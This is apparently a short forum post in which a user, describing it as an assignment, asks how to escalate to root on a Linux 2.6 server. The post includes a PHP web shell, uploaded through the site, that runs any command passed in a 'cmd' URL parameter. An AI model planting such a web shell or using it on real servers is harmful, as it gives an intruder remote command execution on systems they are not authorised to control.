Privilege Escalation - Getting 'root' privilege


Hi,

Currently as a part of an assignment I need to implement a reverse shell on a linux system. The system details are -

Quote:
Linux Kernal Version - 2.6
Database - MySQL
Using web-server I could upload a php file which could execute the command on behalf of me. Now, I want to get root access so that I can get access to system's core files.

My sample php file -

PHP Code:
<?php
    
if((!empty($_GET['cmd']) && isSet($_GET['cmd'])))
        {
            echo 
exec('whoami').'@'.exec('hostname').':'.exec('pwd').'$'.' '.$_GET['cmd'];
            echo 
'<p></p>';
            echo 
exec($_GET['cmd']);
        }
?>
Thanks,
Rahil
